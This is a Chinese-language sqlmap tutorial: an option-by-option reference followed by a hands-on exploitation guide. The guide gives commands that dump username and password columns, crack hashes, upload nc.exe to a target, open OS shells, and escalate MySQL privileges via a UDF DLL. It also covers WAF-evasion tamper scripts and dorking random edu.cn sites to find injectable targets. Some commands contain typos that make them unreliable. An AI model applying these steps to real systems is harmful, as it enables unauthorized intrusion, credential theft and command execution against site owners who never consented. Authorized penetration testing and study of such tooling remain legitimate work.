SQL注入工具 sqlmap
sqlmap是一個開源的滲透測試工具,可以用來進行自動化檢測,利用SQL注入漏洞,獲取資料庫伺服器的許可權。它具有功能強大的檢測引擎,針對各種不同型別資料庫的滲透測試的功能選項,包括獲取資料庫中儲存的資料,訪問作業系統檔案甚至可以通過外帶資料連線的方式執行作業系統命令。
1.1 sqlmap簡介
sqlmap支援MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等資料庫的各種安全漏洞檢測。
sqlmap支援五種不同的注入模式:
基於布林的盲注,即可以根據返回頁面判斷條件真假的注入; 基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否增加)來判斷; 基於報錯注入,即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中; 聯合查詢注入,可以使用union的情況下的注入; 堆查詢注入,可以同時執行多條語句的執行時的注入。
1.2 下載及安裝
(1)linux下git直接安裝
gitclone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
(2)windows下安裝
windows下下載sqlmap的壓縮包,解壓後即可使用。但需要一些元件包的支援,需要有python2.7.x或者2.6.x環境支援。
(3)kali及PentestBox預設安裝sqlmap
1.3 SQL使用引數詳解
本文以SQLmap 1.1.8-8版本為例,對其所有引數進行詳細的分析和講解,便於在使用時進行查詢。
用法: sqlmap.py [選項]
1.3.1選項
-h,--help 顯示基本幫助資訊並退出
-hh 顯示高階幫助資訊並退出
--version 顯示程式版本資訊並退出
-vVERBOSE資訊級別: 0-6 (預設1),其值具體含義:“0”只顯示python錯誤以及嚴重的資訊;1同時顯示基本資訊和警告資訊(預設);“2”同時顯示debug資訊;“3”同時顯示注入的payload;“4”同時顯示HTTP請求;“5”同時顯示HTTP響應頭;“6”同時顯示HTTP響應頁面;如果想看到sqlmap傳送的測試payload最好的等級就是3。
1.3.2目標
-d DIRECT 直接連線資料庫的連線字串 -u URL, --url=URL 目標URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url -l LOGFILE 從Burp或者WebScarab代理日誌檔案中分析目標 -x SITEMAPURL 從遠端網站地圖(sitemap.xml)檔案來解析目標 -m BULKFILE 將目標地址儲存在檔案中,一行為一個URL地址進行批量檢測。 -r REQUESTFILE 從檔案載入HTTP請求,sqlmap可以從一個文字檔案中獲取HTTP請求,這樣就可以跳過設定一些其他引數(比如cookie,POST資料,等等),請求是HTTPS的時需要配合這個--force-ssl引數來使用,或者可以在Host頭後門加上:443 -g GOOGLEDORK 從谷歌中載入結果目標URL(只獲取前100個結果,需要掛代理) -c CONFIGFILE 從配置ini檔案中載入選項
1.3.3請求
這些選項可以用來指定如何連線到目標URL
--method=METHOD 強制使用給定的HTTP方法(例如put)
--data=DATA 通過POST傳送資料引數,sqlmap會像檢測GET引數一樣檢測POST的引數。--data="id=1" -f --banner --dbs --users
--param-del=PARA.. 當GET或POST的資料需要用其他字元分割測試引數的時候需要用到此引數。
--cookie=COOKIE HTTP Cookieheader 值
--cookie-del=COO.. 用來分隔cookie的字串值
--load-cookies=L.. Filecontaining cookies in Netscape/wget format
--drop-set-cookie IgnoreSet-Cookie header from response
--user-agent=AGENT 預設情況下sqlmap的HTTP請求頭中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent引數來修改,同時也可以使用--random-agent引數來隨機的從./txt/user-agents.txt中獲取。當--level引數設定為3或者3以上的時候,會嘗試對User-Angent進行注入
--random-agent 使用random-agent作為HTTP User-Agent頭值
--host=HOST HTTP Hostheader value
--referer=REFERER sqlmap可以在請求中偽造HTTP中的referer,當--level引數設定為3或者3以上的時候會嘗試對referer注入
-H HEADER, --hea.. 額外的http頭(e.g."X-Forwarded-For: 127.0.0.1")
--headers=HEADERS 可以通過--headers引數來增加額外的http頭(e.g."Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP的認證型別 (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP 認證憑證(name:password)
--auth-file=AUTH.. HTTP 認證PEM證書/私鑰檔案;當Web伺服器需要客戶端證書進行身份驗證時,需要提供兩個檔案:key_file,cert_file,key_file是格式為PEM檔案,包含著你的私鑰,cert_file是格式為PEM的連線檔案。
--ignore-401 Ignore HTTPError 401 (Unauthorized)忽略HTTP 401錯誤(未授權的)
--ignore-proxy 忽略系統的預設代理設定
--ignore-redirects忽略重定向的嘗試
--ignore-timeouts 忽略連線超時
--proxy=PROXY 使用代理伺服器連線到目標URL
--proxy-cred=PRO.. 代理認證憑證(name:password)
--proxy-file=PRO.. 從檔案載入代理列表
--tor 使用Tor匿名網路
--tor-port=TORPORT 設定Tor代理埠
--tor-type=TORTYPE 設定Tor代理型別 (HTTP,SOCKS4 or SOCKS5 (預設))
--check-tor 檢查Tor的是否正確使用
--delay=DELAY 可以設定兩個HTTP(S)請求間的延遲,設定為0.5的時候是半秒,預設是沒有延遲的。
--timeout=TIMEOUT 可以設定一個HTTP(S)請求超過多久判定為超時,10表示10秒,預設是30秒。
--retries=RETRIES 當HTTP(S)超時時,可以設定重新嘗試連線次數,預設是3次。
--randomize=RPARAM可以設定某一個引數值在每一次請求中隨機的變化,長度和型別會與提供的初始值一樣
--safe-url=SAFEURL 提供一個安全不錯誤的連線,每隔一段時間都會去訪問一下
--safe-post=SAFE.. 提供一個安全不錯誤的連線,每次測試請求之後都會再訪問一遍安全連線。
--safe-req=SAFER.. 從檔案中載入安全HTTP請求
--safe-freq=SAFE.. 測試一個給定安全網址的兩個訪問請求
--skip-urlencode 跳過URL的有效載荷資料編碼
--csrf-token=CSR.. Parameter usedto hold anti-CSRF token引數用來儲存反CSRF令牌
--csrf-url=CSRFURL URL地址訪問提取anti-CSRF令牌
--force-ssl 強制使用SSL/HTTPS
--hpp 使用HTTP引數汙染的方法
--eval=EVALCODE 在有些時候,需要根據某個引數的變化,而修改另個一引數,才能形成正常的請求,這時可以用--eval引數在每次請求時根據所寫python程式碼做完修改後請求。(e.g "import hashlib;id2=hashlib.md5(id).hexdigest()")
sqlmap.py -u"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"--eval="import ashlib;hash=hashlib.md5(id).hexdigest()"
1.3.4優化
這些選項可用於優化sqlmap效能
-o 開啟所有的優化開關
--predict-output 預測普通查詢輸出
--keep-alive 使用持久HTTP(S)連線
--null-connection 獲取頁面長度
--threads=THREADS 當前http(s)最大請求數 (預設 1)
1.3.5注入
這些選項可用於指定要測試的引數、提供自定義注入有效載荷和可選的篡改指令碼。
-p TESTPARAMETER 可測試的引數
--skip=SKIP 跳過對給定引數的測試
--skip-static 跳過測試不顯示為動態的引數
--param-exclude=.. 使用正則表示式排除引數進行測試(e.g. "ses")
--dbms=DBMS 強制後端的DBMS為此值
--dbms-cred=DBMS.. DBMS認證憑證(user:password)
--os=OS 強制後端的DBMS作業系統為這個值
--invalid-bignum 使用大數字使值無效
--invalid-logical 使用邏輯操作使值無效
--invalid-string 使用隨機字串使值無效
--no-cast 關閉有效載荷鑄造機制
--no-escape 關閉字串逃逸機制
--prefix=PREFIX 注入payload字串字首
--suffix=SUFFIX 注入payload字串字尾
--tamper=TAMPER 使用給定的指令碼篡改注入資料
1.3.6檢測
這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容
--level=LEVEL 執行測試的等級(1-5,預設為1)
--risk=RISK 執行測試的風險(0-3,預設為1)
--tring=STRING 查詢時有效時在頁面匹配字串
--not-string=NOT.. 當查詢求值為無效時匹配的字串
--regexp=REGEXP 查詢時有效時在頁面匹配正則表示式
--code=CODE 當查詢求值為True時匹配的HTTP程式碼
--text-only 僅基於在文字內容比較網頁
--titles 僅根據他們的標題進行比較
1.3.7技巧
這些選項可用於調整具體的SQL注入測試
--technique=TECH SQL注入技術測試(預設BEUST)
--time-sec=TIMESEC DBMS響應的延遲時間(預設為5秒)
--union-cols=UCOLS 定列範圍用於測試UNION查詢注入
--union-char=UCHAR 暴力猜測列的字元數
--union-from=UFROM SQL注入UNION查詢使用的格式
--dns-domain=DNS.. DNS洩露攻擊使用的域名
--second-order=S.. URL搜尋產生的結果頁面
1.3.8指紋
-f, --fingerprint 執行廣泛的DBMS版本指紋檢查
1.3.9列舉
這些選項可以用來列舉後端資料庫管理系統的資訊、表中的結構和資料。此外,您還可以執行自定義的SQL語句。
-a, --all 獲取所有資訊
-b, --banner 獲取資料庫管理系統的標識
--current-user 獲取資料庫管理系統當前使用者
--current-db 獲取資料庫管理系統當前資料庫
--hostname 獲取資料庫伺服器的主機名稱
--is-dba 檢測DBMS當前使用者是否DBA
--users 列舉資料庫管理系統使用者
--passwords 列舉資料庫管理系統使用者密碼雜湊
--privileges 列舉資料庫管理系統使用者的許可權
--roles 列舉資料庫管理系統使用者的角色
--dbs 列舉資料庫管理系統資料庫
--tables 列舉的DBMS資料庫中的表
--columns 列舉DBMS資料庫表列
--schema 列舉資料庫架構
--count 檢索表的專案數,有時候使用者只想獲取表中的資料個數而不是具體的內容,那麼就可以使用這個引數:sqlmap.py -u url --count -D testdb
--dump 轉儲資料庫表項
--dump-all 轉儲資料庫所有表項
--search 搜尋列(S),表(S)和/或資料庫名稱(S)
--comments 獲取DBMS註釋
-D DB 要進行列舉的指定資料庫名
-T TBL DBMS資料庫表列舉
-C COL DBMS資料庫表列列舉
-X EXCLUDECOL DBMS資料庫表不進行列舉
-U USER 用來進行列舉的資料庫使用者
--exclude-sysdbs 列舉表時排除系統資料庫
--pivot-column=P.. Pivot columnname
--where=DUMPWHERE Use WHEREcondition while table dumping
--start=LIMITSTART 獲取第一個查詢輸出資料位置
--stop=LIMITSTOP 獲取最後查詢的輸出資料
--first=FIRSTCHAR 第一個查詢輸出字的字元獲取
--last=LASTCHAR 最後查詢的輸出字字元獲取
--sql-query=QUERY 要執行的SQL語句
--sql-shell 提示互動式SQL的shell
--sql-file=SQLFILE 要執行的SQL檔案
1.3.10暴力
這些選項可以被用來執行暴力檢查
--common-tables 檢查存在共同表
--common-columns 檢查存在共同列
1.3.11使用者自定義函式注入
這些選項可以用來建立使用者自定義函式
--udf-inject 注入使用者自定義函式
--shared-lib=SHLIB 共享庫的本地路徑
1.3.12 訪問檔案系統
這些選項可以被用來訪問後端資料庫管理系統的底層檔案系統
--file-read=RFILE 從後端的資料庫管理系統檔案系統讀取檔案,SQL Server2005中讀取二進位制檔案example.exe:
sqlmap.py -u"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"--file-read "C:/example.exe" -v 1
--file-write=WFILE 編輯後端的資料庫管理系統檔案系統上的本地檔案
--file-dest=DFILE 後端的資料庫管理系統寫入檔案的絕對路徑
在kali中將/software/nc.exe檔案上傳到C:/WINDOWS/Temp下:
python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write"/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" -v1
1.3.13 作業系統訪問
這些選項可以用於訪問後端資料庫管理系統的底層作業系統
--os-cmd=OSCMD 執行作業系統命令(OSCMD)
--os-shell 互動式的作業系統的shell
--os-pwn 獲取一個OOB shell,meterpreter或VNC
--os-smbrelay 一鍵獲取一個OOBshell,meterpreter或VNC
--os-bof 儲存過程緩衝區溢位利用
--priv-esc 資料庫程序使用者許可權提升
--msf-path=MSFPATH MetasploitFramework本地的安裝路徑
--tmp-path=TMPPATH 遠端臨時檔案目錄的絕對路徑
linux檢視當前使用者命令:
sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v1
1.3.14 Windows登錄檔訪問
這些選項可以被用來訪問後端資料庫管理系統Windows登錄檔
--reg-read 讀一個Windows登錄檔項值
--reg-add 寫一個Windows登錄檔項值資料
--reg-del 刪除Windows登錄檔鍵值
--reg-key=REGKEY Windows登錄檔鍵
--reg-value=REGVAL Windows登錄檔項值
--reg-data=REGDATA Windows登錄檔鍵值資料
--reg-type=REGTYPE Windows登錄檔項值型別
1.3.15 一般選項
這些選項可以用來設定一些一般的工作引數
-s SESSIONFILE 儲存和恢復檢索會話檔案的所有資料
-t TRAFFICFILE 記錄所有HTTP流量到一個文字檔案中
--batch 從不詢問使用者輸入,使用所有預設配置。
--binary-fields=.. 結果欄位具有二進位制值(e.g."digest")
--charset=CHARSET 強制字元編碼
--crawl=CRAWLDEPTH 從目標URL爬行網站
--crawl-exclude=.. 正則表示式從爬行頁中排除
--csv-del=CSVDEL 限定使用CSV輸出 (default",")
--dump-format=DU.. 轉儲資料格式(CSV(default), HTML or SQLITE)
--eta 顯示每個輸出的預計到達時間
--flush-session 重新整理當前目標的會話檔案
--forms 解析和測試目標URL表單
--fresh-queries 忽略在會話檔案中儲存的查詢結果
--hex 使用DBMS Hex函式資料檢索
--output-dir=OUT.. 自定義輸出目錄路徑
--parse-errors 解析和顯示響應資料庫錯誤資訊
--save=SAVECONFIG 儲存選項到INI配置檔案
--scope=SCOPE 從提供的代理日誌中使用正則表示式過濾目標
--test-filter=TE.. 選擇測試的有效載荷和/或標題(e.g. ROW)
--test-skip=TEST.. 跳過試驗載荷和/或標題(e.g.BENCHMARK)
--update 更新sqlmap
1.3.16 其他
-z MNEMONICS 使用短記憶法 (e.g."flu,bat,ban,tec=EU")
--alert=ALERT 發現SQL注入時,執行主機作業系統命令
--answers=ANSWERS 當希望sqlmap提出輸入時,自動輸入自己想要的答案(e.g. "quit=N,follow=N"),例如:sqlmap.py -u"http://192.168.22.128/get_int.php?id=1"--technique=E--answers="extending=N" --batch
--beep 發現sql注入時,發出蜂鳴聲。
--cleanup 清除sqlmap注入時在DBMS中產生的udf與表。
--dependencies Check formissing (non-core) sqlmap dependencies
--disable-coloring 預設彩色輸出,禁掉彩色輸出。
--gpage=GOOGLEPAGE 使用前100個URL地址作為注入測試,結合此選項,可以指定頁面的URL測試
--identify-waf 進行WAF/IPS/IDS保護測試,目前大約支援30種產品的識別
--mobile 有時服務端只接收移動端的訪問,此時可以設定一個手機的User-Agent來模仿手機登陸。
--offline Work inoffline mode (only use session data)
--purge-output 從輸出目錄安全刪除所有內容,有時需要刪除結果檔案,而不被恢復,可以使用此引數,原有檔案將會被隨機的一些檔案覆蓋。
--skip-waf 跳過WAF/IPS / IDS啟發式檢測保護
--smart 進行積極的啟發式測試,快速判斷為注入的報錯點進行注入
--sqlmap-shell 互動提示一個sqlmapshell
--tmp-dir=TMPDIR 用於儲存臨時檔案的本地目錄
--web-root=WEBROOT Web伺服器的文件根目錄(e.g."/var/www")
--wizard 新手使用者簡單的嚮導使用,可以一步一步教你如何輸入針對目標註入
1.4 實際利用
1.4.1檢測和利用SQL注入
1.手工判斷是否存在漏洞
對動態網頁進行安全審計,通過接受動態使用者提供的GET、POST、Cookie引數值、User-Agent請求頭。
原始網頁:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
構造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
構造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
如果url1訪問結果跟原始網頁一致,而url2跟原始網頁不一致,有出錯資訊或者顯示內容不一致,則證明存在SQL注入。
2. sqlmap自動檢測
檢測語法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
技巧:在實際檢測過程中,sqlmap會不停的詢問,需要手工輸入Y/N來進行下一步操作,可以使用引數“--batch”命令來自動答覆和判斷。
3. 尋找和判斷例項
通過百度對“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”進行搜尋,搜尋news.php/asp/aspx,站點為edu.cn,如圖1所示。隨機開啟一個網頁搜尋結果,如圖2所示,如果能夠正常訪問,則複製該URL地址。
將該url使用sqlmap進行注入測試,如圖3所示,測試結果可能存在SQL注入,也可能不存在SQL注入,存在則可以進行資料庫名稱,資料庫表以及資料的操作。本例中是不存在SQL注入漏洞。
4. 批量檢測
將目標url蒐集並整理為txt檔案,如圖4所示,所有檔案都儲存為tg.txt,然後使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一個目錄下。
1.4.2 直接連線資料庫
sqlmap.py -d"mysql://admin:[email protected]:3306/testdb" -f --banner --dbs--users
1.4.3資料庫相關操作
1.列資料庫資訊:--dbs
2.web當前使用的資料庫--current-db
3.web資料庫使用賬戶--current-user
4.列出sqlserver所有使用者 --users
5.資料庫賬戶與密碼 --passwords
6.指定庫名列出所有表 -D database --tables
-D:指定資料庫名稱
7.指定庫名錶名列出所有欄位 -D antian365-T admin --columns
-T:指定要列出欄位的表
8.指定庫名錶名欄位dump出指定欄位
-D secbang_com -T admin -C id,password ,username --dump
-D antian365 -T userb -C"email,Username,userpassword" --dump
可加雙引號,也可不加雙引號。
9.匯出多少條資料
-D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump
引數:
--start:指定開始的行
--stop:指定結束的行
此條命令的含義為:匯出資料庫tourdata中的表userb中的欄位(email,Username,userpassword)中的第1到第10行的資料內容。
1.5 SQLMAP實用技巧
1. mysql的註釋方法進行繞過WAF進行SQL注入
(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,"/*!0%s" % word) 為:
return match.group().replace(word,"/!50000%s/" % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
<castquery="convert(%s,CHAR)"/>
(3)使用sqlmap進行注入測試
sqlmap.py -u"http://**.com/detail.php? id=16" –tamper "halfversionedmorekeywords.py"
其它繞過waf指令碼方法:
sqlmap.py-u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目錄下檔案具體含義:
space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引號
equaltolike.pylike代替等號
space2dash.py 繞過過濾‘=’ 替換空格字元(”),(’–‘)後跟一個破折號註釋,一個隨機字串和一個新行(’n’)
greatest.py 繞過過濾’>’ ,用GREATEST替換大於號。
space2hash.py空格替換為#號,隨機字串以及換行符
apostrophenullencode.py繞過過濾雙引號,替換字元和雙引號。
halfversionedmorekeywords.py當資料庫為mysql時繞過防火牆,每個關鍵字之前新增mysql版本評論
space2morehash.py空格替換為 #號 以及更多隨機字串 換行符
appendnullbyte.py在有效負荷結束位置載入零位元組字元編碼
ifnull2ifisnull.py 繞過對IFNULL過濾,替換類似’IFNULL(A,B)’為’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替換為其它空符號
base64encode.py 用base64編碼替換
space2mssqlhash.py 替換空格
modsecurityversioned.py過濾空格,包含完整的查詢版本註釋
space2mysqlblank.py 空格替換其它空白符號(mysql)
between.py用between替換大於號(>)
space2mysqldash.py替換空格字元(”)(’ – ‘)後跟一個破折號註釋一個新行(’ n’)
multiplespaces.py圍繞SQL關鍵字新增多個空格
space2plus.py用+替換空格
bluecoat.py代替空格字元後與一個有效的隨機空白字元的SQL語句,然後替換=為like
nonrecursivereplacement.py雙重查詢語句,取代SQL關鍵字
space2randomblank.py代替空格字元(“”)從一個隨機的空白字元可選字元的有效集
sp_password.py追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾
chardoubleencode.py雙url編碼(不處理以編碼的)
unionalltounion.py替換UNION ALLSELECT UNION SELECT
charencode.py url編碼
randomcase.py隨機大小寫
unmagicquotes.py寬字元繞過 GPCaddslashes
randomcomments.py用/**/分割sql關鍵字
charunicodeencode.py字串 unicode 編碼
securesphere.py追加特製的字串
versionedmorekeywords.py註釋繞過
space2comment.py替換空格字串(‘‘) 使用註釋‘/**/’
halfversionedmorekeywords.py關鍵字前加註釋
- URL重寫SQL注入測試
value1為測試引數,加“*”即可,sqlmap將會測試value1的位置是否可注入。
sqlmap.py -u"http://targeturl/param1/value1*/param2/value2/"
- 列舉並破解密碼雜湊值
當前使用者有許可權讀取包含使用者密碼的許可權時,sqlmap會現列舉出使用者,然後列出hash,並嘗試破解。
sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v1
- 獲取表中的資料個數
sqlmap.py -u"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb
5.對網站secbang.com進行漏洞爬去
sqlmap.py -u "http://www.secbang.com"--batch --crawl=3
6.基於布林SQL注入預估時間
sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1"-b --eta
7.使用hex避免字元編碼導致資料丟失
sqlmap.py -u "http://192.168.48.130/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
8.模擬測試手機環境站點
python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile
9.智慧判斷測試
sqlmap.py -u "http://www.antian365.com/info.php?id=1"--batch --smart
10.結合burpsuite進行注入
(1)burpsuite抓包,需要設定burpsuite記錄請求日誌
sqlmap.py -r burpsuite抓包.txt
(2)指定表單注入
sqlmap.py -u URL --data“username=a&password=a”
11.sqlmap自動填寫表單注入
自動填寫表單:
sqlmap.py -u URL --forms
sqlmap.py -u URL --forms --dbs
sqlmap.py -u URL --forms --current-db
sqlmap.py -u URL --forms -D 資料庫名稱--tables
sqlmap.py -u URL --forms -D 資料庫名稱 -T 表名 --columns
sqlmap.py -u URL --forms -D 資料庫名稱 -T 表名 -Cusername,password --dump
12.讀取linux下檔案
sqlmap.py-u "url" --file /etc/password
13.延時注入
sqlmap.py -u URL --technique -T--current-user
- sqlmap 結合burpsuite進行post注入
結合burpsuite來使用sqlmap:
(1)瀏覽器開啟目標地址http://www.antian365.com
(2)配置burp代理(127.0.0.1:8080)以攔截請求
(3)點選登入表單的submit按鈕
(4)Burp會攔截到了我們的登入POST請求
(5)把這個post請求複製為txt, 我這命名為post.txt 然後把它放至sqlmap目錄下
(6)執行sqlmap並使用如下命令:
./sqlmap.py -r post.txt -p tfUPass
15.sqlmap cookies注入
sqlmap.py -u "http://127.0.0.1/base.PHP"–cookies "id=1" –dbs –level 2
預設情況下SQLMAP只支援GET/POST引數的注入測試,但是當使用–level 引數且數值>=2的時候也會檢查cookie裡面的引數,當>=3的時候將檢查User-agent和Referer。可以通過burpsuite等工具獲取當前的cookie值,然後進行注入:
sqlmap.py -u 注入點URL --cookie"id=xx" --level 3
sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump
16.mysql提權
(1)連線mysql資料開啟一個互動shell:
sqlmap.py -dmysql://root:[email protected]:3306/test --sql-shell
select @@version;
select @@plugin_dir;
d:\wamp2.5\bin\mysql\mysql5.6.17\lib\plugin\
(2)利用sqlmap上傳lib_mysqludf_sys到MySQL外掛目錄:
sqlmap.py -dmysql://root:[email protected]:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\wamp2.5\bin\mysql\mysql5.6.17\lib\plugin\lib_mysqludf_sys.dll
CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'
CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'
select sys_eval('ver');
17.執行shell命令
sqlmap.py -u "url" –os-cmd="netuser" /執行net user命令/
sqlmap.py -u "url" –os-shell /系統互動的shell/
18.延時注入
sqlmap –dbs -u"url" –delay 0.5 /延時0.5秒/
sqlmap –dbs -u"url" –safe-freq /請求2次/